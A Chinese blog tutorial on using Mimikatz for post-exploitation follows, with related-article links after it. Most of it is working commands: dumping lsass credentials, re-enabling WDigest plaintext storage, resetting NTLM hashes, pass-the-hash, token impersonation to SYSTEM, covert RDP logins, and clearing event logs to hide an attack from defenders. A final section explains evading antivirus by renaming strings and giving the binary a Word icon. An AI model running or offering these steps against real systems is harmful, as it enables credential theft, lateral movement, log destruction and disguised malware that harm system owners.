内网渗透之某后渗透利用【网络安全】

最新推荐文章于 2024-09-16 16:27:02 发布
最新推荐文章于 2024-09-16 16:27:02 发布
阅读量3.4k 收藏 7
点赞数 4
文章标签： 安全 渗透测试 网络安全 web安全 运维
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/kali_Ma/article/details/129735269
版权

0x01 工具介绍

工具原理

Mimikatz 的主要原理是在 Windows 系统中用户登录后系统会将身份凭证存储于lsass.exe进程的内存当中，Mimikatz 通过注入lsass.exe进程读取进程内存，从中获取对应的明文密码。

常见问题

在 Windows Vista 系统之后不再存储 LM HASH，而 Windows 8.1 系统之后内存中也不再存储明文密码，因此在高版本 Windows 系统中无法利用 Mimikatz 直接读取明文密码。Mimikatz 能获取明文密码的关键是 wdigest，这是一个可逆算法，相关注册表存储位置如下：

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"（DWORD）

后续高版本的 Windows 系统不能读取明文是因为关闭了该注册表键，如果想要重新获取明文，只需要开启该注册表后再输入密码重新登录即可。

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1

给小伙伴整理了相对应的学习资料，如果你需要的话，我也可以分享一部分出来（涉密部分分享不了），需要的可以

👉 【一帮助安全学习一】👈点击领取256G网络安全自学资料

0x02 基础使用

常见用法

Mimikatz 的启动需要管理员/SYSTEM权限运行，默认情况下拥有 32 位以及 64 位版本，在 Kali Linux 中默认存放位置为/usr/share/mimikatz，大多数人使用 Mimikatz 一般只用到两个命令，而对其他命令不太了解，接下来会为大家全面介绍 Mimikatz 这款神器。

privilege::debug
sekurlsa::logonpasswords

也可以使用一句话输出保存

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"> pssword.txt

基本语法

使用命令可查看全部功能模块

::

image.png

调试进程修改运行权限为SYSTEM

privilege::debug
privilege:: #查看 privilege 的运行模块

image.png

开启日志记录，保存读取的用户凭证信息

standard::log

image.png

0x03 常用模块

Crypto模块

加密模块主要用于导出可导出的证书，利用 CryptoAPI 函数访问证书，相当于简化版的 certutil。有时候一张合法的证书非常有用，当利用合法证书生成木马程序时可能被杀软认做白名单程序从而不进行查杀。相关参数如下：

/provider #指定提供者
/providertype #指定提供类型
/cngprovider #CNG提供者
/export #导出密钥 PVK 文件

查看相关密钥的提供者

crypto::providers

image.png

查看当前系统存储信息

crypto::stores

image.png

常见的系统存储用户名包括：

  • CURRENT_USER

  • USER_GROUP_POLICY

  • LOCAL_MACHINE

  • LOCAL_MACHINE_GROUP

  • LOCAL_MACHINE_ENTERPRISE

  • CURRENT_SERVICE

  • USERS

  • SERVICES

指定系统存储为local_machine进行查看

crypto::stores /systemstore:local_machine

image.png

查看用户当前证书

crypto::certificates

image.png

导出 ROOT 根证书

crypto::certificates /store:Root

image.png

导出证书必须配合 store 参数。其中公钥为DER，私钥为PFX，密码为 mimikatz

crypto::certificates /store:Root /export

image.png

使用 CryptoAPI 打补丁，有时候证书无法导出可能就是补丁没有打

crypto::capi

image.png

使用 CNG 打补丁，用于导出未标记可导出的证书

crypto::cng

image.png

列出智能读卡器，可能会出现报错

crypto::sc

image.png

查看相关密钥

crypto::key

image.png

使用 OpenSSL 生成证书

openssl rsa -inform pvk -in key.pvk -outform pem -out key.pem

Sekurlsa模块

Sekurlsa 模块能从lsass.exe进程中提取 passwords、keys、pin、tickets 等用户凭据信息，是最常用到模块。查看所有身份认证信息，成功拿到用户明文密码

sekurlsa::logonpasswords

image.png

查看用户哈希可能会出现报错，这主要是由于当前权限较低

lsadump::sam

image.png

解决方法非常简单，只要以系统权限运行即可

process::runp

在新窗口中再次运行可成功拿到哈希
image.png

重置用户 NTLM 哈希会把哈希直接写入 SAM 数据库当中，因此执行该操作相当于重置密码，再次登录需要使用新密码进行登录

lsadump::setntlm /user:admin /ntlm:b2781ba85ac750ec286744b009599637

image.png

转储并导出lsass.exe进程

sekurlsa::minidump lsass.tmp

通过哈希传递进行横向移动

sekurlsa::pth /user:admin /domain:host1 /ntlm:b2781ba85ac750ec286744b009599637
sekurlsa::pth /user:admin /domain:host1 /aes256:b2781ba85ac750ec286744b009599637

凭证管理器中可查看 Windows 凭证
image.png

Token模块

Token 模块主要用于查看、假冒现有 token。查看当前 token 信息

token::whoami

image.png

查看 token 列表并假冒系统管理员

token::list
token::elevate /NT AUTHORITY\SYSTEM

image.png

还原假冒进程

token::revert

image.png

其他模块

一般情况下重复登录远程桌面会导致已登录用户会直接退出或提示有其他用户登录
image.png

配合命令无提示登录远程桌面，该功能在 HW 中非常好用，即使管理员处于登录状态，我们仍能悄悄登录其他用户

ts::multirdp

image.png

成功登录原会话不受影响，使用命令查看会话列表

ts::sessions

image.png

虽然目前不会被已登录用户发现，但在事件查看器当中仍会存在登录日志
image.png

使用命令一键清除日志

event::clear

image.png

成功清除日志后蓝队工程师无法通过系统日志来还原攻击过程
image.png

安装/卸载 Mimikatz 服务，帮助我们监听用户输入

service::+
service::-

image.png

成功安装 Mimikatz 服务且已自动启动
image.png

比如监听粘贴文本

misc::clip

image.png

0x04 免杀利用

Mimikatz 作为最常用的黑客工具早已被各大安全软件标记，比如360杀毒、360安全卫士、卡巴斯基等。使用源码免杀能帮助我们绕过杀毒软件的查杀，这是一种基于特征码的免杀方式，只需定位到源码中的特征代码进行修改就可达到免杀效果，一般会定位三个位置，分别是代码、字符串和输入表。

准备环境

在免杀前需要准备以下三个要素：

  • Mimikatz 源码

  • Visual Stdio 2019（C++）

  • vc依赖文件

在 Github 中下载最新版的 Mimikatz

下载地址：https://github.com/gentilkiwi/mimikatz

image.png

更新 360 杀毒、病毒库为最新版本
image.png

配置问题

点击 Mimikatz 中的启动文件启动 Visual Stdio，在帮助菜单》关于〉查看许可证状态中输入激活证书可成功激活。而在 VS 2012 中如果出现报错信息（error MSB8020），解决方法为进入项目》属性〉常规》平台工作集中，将平台改为 VS 2012（v110）后即可成功运行编译。
image.png

选择生成出现报错界面，点击工具》获取工具和功能〉C++ 进行桌面开发》C++ Windows XP Support for VS 2017 v141，点击修改即可解决问题
image.png

下载安装完成后修改手工工具集为 2017 版本
image.png

在配置属性中的 C++ 中修改将警告视为错误改为否，否则每当出现错误就无法编译
image.png

重新生成又出现报错：MSB8036
image.png

在项目属性页选择已安装的 SDK 版本
image.png

点击重新生成后成功编译 32 位 Mimikatz
image.png

如果需要生成 64 位程序可在解决方案》配置属性选择平台为x64
image.png

点击重新生成成功编译 64 位 Mimikatz
image.png

免杀过程

步入正题选择项目 mimikatz 的编辑》查找和替换》在文件中替换
image.png

把关键字 mimikatz 所有的字符串替换为 macsec，点击全部替换即可
image.png

由于字符串全部被替换，导致引入 mimikatz 的文件名也被替换，因此需修改全部文件名为 macsec
image.png

点击重新生成后输出macsec.exe
image.png

虽然目前能够进行静态查杀，但是还是无法绕过动态查杀
image.png

image.png

进一步删除macsec.c和macsec.h的注释信息
image.png

再次重新生成程序使用360测试仍无法绕过动态查杀
image.png

在macsec.rc中修改版本信息，把带有 gentilkiwi 的公司名修改为 macsec
image.png

修改图标macsec.ico为 Office Word 图标后再次点击生成
image.png

放入免杀环境再次运行即可成功绕过
image.png

当然命令也能够成功执行
image.png

完成免杀后可上传至云平台查杀测试，但一般不要这么做，云平台会标记免杀程序

kali_Ma
关注
SharpStrike：基于C#实现的后渗透漏洞利用工具
HBohan的博客
09-19 575
关于SharpStrike SharpStrike是一款基于C#开发的后渗透工具，该工具可以使用CIM或WMI来查询远程系统。除此之外，该工具还可以使用研究人员提供的凭证信息或使用当前的用户会话。 注意：SharpStrike中的某些命令将使用PowerShell结合WMI以实现其功能。 SharpStrike可以帮助广大研究人员收集关于目标远程系统的数据、执行命令以及提取数据等等。该工具允许使用WMI或CIM来跟远程系统进行连接，而CIM的使用则需要我们获取到目标系统的管理员权限。 解决方案架构 Shar
掌握内网渗透之道，成为实战高手，看《内网渗透实战攻略》就够了
等风来
01-10 2966
当今，网络系统面临着越来越严峻的安全挑战。在众多的安全挑战中，一种有组织、有特定目标、长时间持续的新型网络攻击日益猖獗，国际上常称之为APT（Advanced Persistent Threat，高级持续性威胁）攻击。传统的渗透测试从外网发起攻击，并以攻破单台主机为目标。与之相比，APT攻击在技术上更加系统地实现了对目标内网主机的大批量控制，从而使业内对内网渗透技术的关注度提高到了一个空前的高度。
ThievingFox：一款强大的后渗透工具集
gitblog_00887的博客
09-13 643
ThievingFox：一款强大的后渗透工具集 ThievingFox 项目地址: https://gitcode.com/gh_mirrors/th/ThievingFox ...
免杀入门-基础篇 小白都可以看懂（全网最详细）
m0_70065235的博客
09-16 1693
免杀入门-基础篇 小白都可以看懂（全网最详细）4000字
后渗透工具Koadic实战
systemino的博客
05-01 873
渗透测试大致可以分为以下五个阶段：侦察、扫描、获得访问权限、维护访问/持久性、数据渗漏。Koadic是发布于DEFCON上的一个后渗透工具，它可用于以上列举的最后两个阶段，即权限维持和数据渗漏。 利用Windows脚本宿主，Koadic提供类似于批处理文件的脚本功能。正因如此，它可以在包括Windows 10在内的多个Windows环境中使用。 为了躲避杀毒软件的查杀，Koadic被设计为在内...
后渗透工具RedTeam-cobaltstrike搭建教程踩坑
giaogiao123的博客
08-02 678
工具下载地址 https://github.com/makoto56/cobaltstrike-4.2-cn 为什么说是踩坑，首先下载完成之后 我把kali当成服务机，win10系统当成攻击机，进行环境搭建。 kali服务机（ifconfig）-192.168.0.180 ** 第一个坑 **，授权问题 先进入目录执行命令，密码随便设，笔者设为123456 sudo ./teamserver 192.168.0.180 123456 发现没有权限，执行 chmod 777 teamserver 进行授
MOSE：针对配置管理服务器的后渗透工具
weixin_43977912的博客
01-24 2067
MOSE (Master Of SErvers) MOSE 是一款功能强大的后渗透工具，无论你的技术能力有多强，或者是否经验足够丰富，该工具都能够帮助广大安全研究专家渗透配置管理（CM）技术环境。类似Puppet、Chef、Salt和Ansible这样的CM工具可以根据不同的网络环境和给定的系统并以一种统一的方式来提供自己的功能。成功入侵一台CM服务器之后，攻击者将能够使用这些工具来在CM服务器资源清单中的任意或所有系统中执行命令。但是，如果攻击者没有使用这些类型工具的经验，则可能会出现非常耗时的学习曲线。
内网安全攻防渗透测试实战指南.pptx
07-01
内网安全攻防渗透测试实战指南 ...内网安全攻防渗透测试实战指南旨在帮助安全人员和渗透测试人员更好地理解内网安全攻防的原理和方法，并提供了一些实用的技术和工具来帮助他们更好地进行内网渗透测试和安全攻防。
内网渗透之域渗透.pdf
08-07
内网渗透和域渗透要求攻击者具备深入理解目标网络架构的能力，以及熟练掌握操作系统的各种命令和利用安全漏洞的方法。在实际操作中，攻击者通常会使用一系列标准化的步骤和技术手段来达成渗透目的，例如扫描网络资源...
内网渗透讲义-精选.zip
最新发布
09-24
- 网络安全从业人员，特别是内网渗透测试工程师 - 安全研究人员，学习和研究内网渗透技术 - 企业IT安全管理员，增强内部网络的防御和安全检测能力 - 网络攻防爱好者，了解内网渗透的工具和技术 使用场景： - 企业...
内网渗透测试安全学习ppt
02-12
内网渗透测试是网络安全领域中的一个重要环节，主要针对企业或组织内部网络进行的安全评估和漏洞检测。这个过程旨在模拟黑客的攻击行为，发现并修复安全漏洞，以保护关键信息和系统不受恶意攻击。以下是内网渗透测试...
一个适用于后渗透期间的信息收集工具
公众号:乌云安全
02-11 352
使用CobaltStrike可以直接下载插件包，其他人推荐将shellcode集成至自己的加载器或工具中运行，不建议直接使用Pillager.exe。版本的Donut，缩小shellcode体积，使shellcode兼容.Net Framework v3.5/v4.x，并去除AV/Pillager是一个适用于后渗透期间的信息收集工具，可以收集目标机器上敏感信息，方便下一步渗透工作的进行。支持大部分常见浏览器，常见聊天软件的信息提取，将陆续添加其他常用工具的信息收集。长期维护，有问题可以及时的反馈处理。
windows 后渗透攻击
weixin_30508309的博客
11-27 320
---恢复内容开始--- 从打开的meterpreter shell 打开 cmd 在cmd中运行wmic就可以得到系统相关信息 win10一些提权操作我都失败了 在win7中一下是我成功提权使用的模块 exploit/windows/local/bypassuac 2010-12-31 excellent No Windows Escalate UAC Protect...
Windows影子用户及其相应的漏洞后渗透
weixin_51339377的博客
04-14 1957
#当获得一条shell后，可以创建一个影子用户，通过影子用户可以行驶正常用户的所有权限与功能， 并且只可在注册表中被检测出来---(应急响应注册表很重要） 1.首先需要拥有权限创建一个Administrator用户，并分配管理员权限。 net user haha$ 123 /add #创建一个新用户haha 密码是123 net localgroup administrators haha$ /add #将该新用户移动到管理员组下 net localgroup users ...
后渗透之Windows信息收集
内心不种满鲜花就会长满杂草
11-10 1774
目录 windows登录账号密码 RDP登录凭据 浏览器账号密码 WIFI账号密码 在获取了Windows系统权限(通常是管理员权限)后，我们就需要尽可能多的收集这台机器上的各种信息，各种密码（内网中很多服务器的账号密码相同），各种敏感文件和资料了。 windows登录账号密码 将系统登录账户的密码进行导出破解 ——>Windows中获取本地登录账号密码 RDP登录凭据 RDP（远程桌面协议），如果主机远程登录了其他主机并且勾选了记住我的凭据，那么我们就能够获取到保存的远程登录的.
渗透工具-小集
煮酒闲谈
03-15 1895
No.1 Name:Appscan Download:https://www.ibm.com/cn-zh/marketplace/appscan-standard REMADEME:AppScan工作原理 http://www.mamicode.com/info-detail-1879133.html * 通过搜索（爬行）发现整个 Web 应用结构 * 根据分析，发送修改的 HTTP R...
【附教程】2024年10款渗透测试人员必备工具（Kali Linux+Nmap+Metasploit
2401_84790759的博客
05-10 1331
WireShark是非常流行的网络封包分析工具，可以截取各种网络数据包，并显示数据包详细信息。常用于开发测试过程中各种问题定位。本文主要内容包括：1、Wireshark软件下载和安装以及Wireshark主界面介绍。2、WireShark简单抓包示例。通过该例子学会怎么抓包以及如何简单查看分析数据包内容。3、Wireshark过滤器使用。通过过滤器可以筛选出想要分析的内容。包括按照协议过滤、端口和主机名过滤、数据包内容过滤。
12.6、后渗透测试--Windows系统下信息收集模块
无痕的博客
12-14 459
meterpreter后渗透阶段，搜集windows信息
内网渗透策略：发现与利用安全弱点
内网渗透思路深入研究的是网络安全领域中的实践技巧，特别是在实战环境中，如何有效地对内网服务器网段进行安全评估和潜在威胁的识别。本文以5999元VIP专享的学习资源形式提供，旨在帮助读者掌握渗透测试的基本方法...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值